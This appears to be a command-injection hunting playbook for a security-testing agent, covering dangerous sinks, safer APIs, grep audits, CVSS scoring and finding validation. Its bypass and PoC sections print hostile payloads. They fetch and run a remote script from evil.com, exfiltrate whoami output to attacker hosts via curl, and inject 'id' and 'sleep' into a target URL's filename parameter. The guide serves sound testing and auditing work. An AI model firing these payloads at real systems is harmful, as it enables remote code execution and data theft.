command-injection
DevOps & SecurityHunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.
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Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer |
|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput | subprocess.run([...], shell=False) |
| Node | child_process.exec, execSync | child_process.execFile, spawn (array args) |
| Go | exec.Command("sh","-c",user) | exec.Command(bin, arg1, arg2) with array |
| Java | Runtime.exec(String) | Runtime.exec(String[]), ProcessBuilder([...]) |
| Ruby | backticks, system(str), %x{...} | Kernel.system(bin, *args), Open3.capture2e |
| PHP | shell_exec, exec, system, backticks, passthru | escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user
controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick —
convert user.jpg out.pngwhereuser.jpgis attacker-chosen (classic ImageTragick) - ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src
# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src
# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src
4. Bypasses
Even when developers "sanitize" via blocklists:
- Argument injection (the -oProxyCommand trick) — passing
-oProxyCommand=curl $(whoami).attacker.comto ssh-based sinks - Space replacement —
${IFS},{ls,-la}(brace expansion) - Backtick/dollar-paren —
$(id),`id` - Command substitution in filename —
$(curl evil.com/x.sh | sh).jpg - Unicode normalisation —
"(fullwidth) vs"bypass - Encoded newline —
%0Aturns single-command into multi-command - TarSlip —
tar xzf user.tgzwith--checkpoint-action=exec=... - Git —
git clone 'ssh://ext::sh -c whoami # foo'
5. PoC ideas
# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"
# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"
# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"
6. validate_finding contract
- success_patterns:
uid=\d+,root, attacker OOB callback hit,total 0 - negative_command: same URL, filename set to
report.pdf - negative_patterns:
200,accepted
7. Default CVSS
| Variant | Vector | Score |
|---|---|---|
| Blind OOB RCE unauth | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| Authenticated RCE (low priv) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 |
| RCE with scope change (container escape) | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
8. Chain promotion
Command injection rarely needs chaining — it's the final hop of most
chains. Instead, use it to promote earlier nodes: add enables edges
from SSRF / file upload / path traversal vulns that deliver the
initial payload.